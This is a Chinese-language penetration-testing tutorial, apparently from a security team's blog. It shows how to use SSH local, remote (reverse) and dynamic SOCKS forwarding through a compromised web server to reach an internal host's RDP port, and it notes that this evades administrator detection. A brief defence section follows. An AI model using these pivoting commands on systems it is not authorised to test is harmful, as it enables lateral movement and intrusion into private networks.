内网学习笔记 | SSH 隧道使用

  • A+
所属分类:安全文章

点击蓝字

内网学习笔记 | SSH 隧道使用

关注我们



声明

本文作者:TeamsSix
本文字数:2000

阅读时长:10~20分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



前言



SSH 全称 Secure Shell,从它的名字来看这个协议就比较安全。SSH 协议是一种应用层协议,支持几乎所有 UNIX、Linux 平台。


得益于 SSH 协议在传输过程中都是加密,所以在流量层面也较难区分合法的 SSH 流量和攻击者产生的 SSH 流量。


因此在内网渗透过程中,使用 SSH 协议进行建立隧道的方法,一方面不用自己再上传同类工具,另一方面降低了因上传使用了同类工具被管理员发现的风险。

一、

SSH 常用命令介绍

相信各位平时最常使用的 SSH 命令就是拿来连接 Linux 系统了,命令一般是这样:

ssh root@192.168.1.1

或者 -p 指定自己自定义的 SSH 端口、-i 指定自己的私钥文件等等。


如果拿 SSH 来创建隧道则需要用到下面的命令:

 -C 压缩传输,提高传输速度。 -f 将 SSH 传输转入后台执行,不占用当前 shell -N 建立静默连接(建立了连接但看不到具体会话) -g 允许远程主机连接本地用于转发的端口。 -L 本地端口转发 -R 远程端口转发 -D 动态转发( SOCKS 代理) -p 指定 SSH 端口

二、

本地转发

目前有这样的一个环境,外网有一台攻击主机 ,可访问处于内网环境的 Web 服务器(双网卡),但无法访问 Web 服务器所在内网的办公主机,接下来就用 SSH 进行流量转发,使外网的攻击主机通过 Web 服务器访问到位于内网的办公主机。


环境拓扑如下:


内网学习笔记 | SSH 隧道使用


在攻击主机上执行以下命令,将内网办公主机的 3389 端口映射到自己的 3388 端口上


ssh -CfNg -L 攻击主机端口:内网办公主机IP:内网办公主机端口 Web服务器ssh户名@Web服务器IP
ssh -CfNg -L 3388:192.168.7.110:3389 root@172.16.214.5[email protected]172.16.214.5's password:

这条命令的意思就是将 Web 服务器 172.16.214.5 作为跳板,将内网办公主机的 3389 端口转发到攻击主机的 3388 端口,这样只要访问攻击主机的 3388 端口就会访问到内网办公主机的 3389 端口了。


为了判断代理转发是否建立成功,可以通过 netstat 进行判断

netstat -pantu | grep "3388"
> netstat -pantu | grep "3388"tcp 0 0 0.0.0.0:3388 0.0.0.0:* LISTEN 14086/sshtcp6 0 0 :::3388 :::* LISTEN 14086/ssh

可以看到 ssh 程序已经监听 3388 端口了,接下来连接本地的 3388 端口就可以连接到内网办公主机的 3389 端口了

rdesktop 127.0.0.1:3388


内网学习笔记 | SSH 隧道使用

三、

远程转发


远程转发在这里其实也可以说是反向代理,目前有这样的一个环境:内网中不存在边界设备,但是内网的 Web 服务器能访问到攻击主机,而内网的办公主机则不行。


因此可以在拿到 Web 服务器的 Shell 后,采用远程转发的方式,即利用 Web 服务器 SSH 连接到攻击主机上进行代理转发,然后访问攻击主机的端口即可,拓扑图如下:


内网学习笔记 | SSH 隧道使用


将 Web 服务器作为跳板,进行远程转发

ssh -CfNg -R 攻击主机端口:内网办公主机IP:内网办公主机端口 攻击主机ssh用户名@攻击主机IP

> ssh -CfNg -R 3388:192.168.7.110:3389 [email protected]172.16.214.48[email protected]172.16.214.48's password:


同样的,为了判断代理转发是否建立成功,也可以通过 netstat 进行判断,和之前一样都是在攻击主机下执行下面的命令

netstat -pantu | grep "3388"

> netstat -pantu | grep "3388"tcp 0 0 127.0.0.1:3388 0.0.0.0:* LISTEN 24728/sshd: roottcp6 0 0 ::1:3388 :::* LISTEN 24728/sshd: root

可以看到,同样的,在攻击主机上 3388 端口的监听已经被开启了,此时直接在攻击主机上访问 127.0.0.1:3388 就可以连接到 192.168.7.110:3389 了

rdesktop 127.0.0.1:3388


四、

动态转发


动态转发需要攻击主机能够访问到目标主机,因此这里采用和本地转发一样的拓扑进行演示。


内网学习笔记 | SSH 隧道使用


在攻击主机上执行下面的命令

ssh -CfNg -D 攻击主机端口 Web服务器ssh用户名@Web服务器IP

> ssh -CfNg -D 4444 [email protected]172.16.214.5[email protected]172.16.214.5's password:

使用 netstat 可以看到现在 4444 端口已经被监听了

netstat -pantu | grep "4444"

> netstat -pantu | grep "4444"tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3979/sshtcp6       0      0 :::4444                 :::* LISTEN      3979/ssh



动态转发其实就是建立一个 socks 连接,任何支持 socks 4/5 协议的程序都可以使用这个加密通道进行访问,例如这里以 proxychains 为例,借助 proxychains 从攻击主机访问到内网的办公主机的 3389 端口。


在 kali 上如果没有自带 proxychains,可以直接使用 sudo apt install proxychains 进行安装,安装完成后,需要修改 proxychains 的配置文件

vim /etc/proxychains4.conf


来到配置文件最后一行,如果有之前配置好的代理,可以用 # 号注释掉,然后另起一行添加上我们的代理,添加内容为:

socks5 127.0.0.1 4444


修改后之后,按下esc,然后按下:wq 保存退出


之后使用下面的命令连接内网办公主机 192.168.7.110 的 3389 端口。

proxychains4 rdesktop 192.168.7.110:3389


内网学习笔记 | SSH 隧道使用


可以看到动态转发要比本地转发自由度高出不少,借助动态转发可以访问到内网 Web 服务器能访问的所有地址、端口,没有了本地转发只能访问单个IP、端口的限制。

五、

SSH 隧道攻击的防御

对 SSH 进行双向访问控制策略可以避免这些问题,一方面只允许可信 IP 才能连接,一方面只允许连接到可信 IP。




后记





作者



内网学习笔记 | SSH 隧道使用

TeamsSix

我靠着那加给我力量的,凡事都能作。(腓立比书 4:13 和合本)



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


内网学习笔记 | SSH 隧道使用
内网学习笔记 | SSH 隧道使用

本文始发于微信公众号(TeamsSix):内网学习笔记 | SSH 隧道使用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: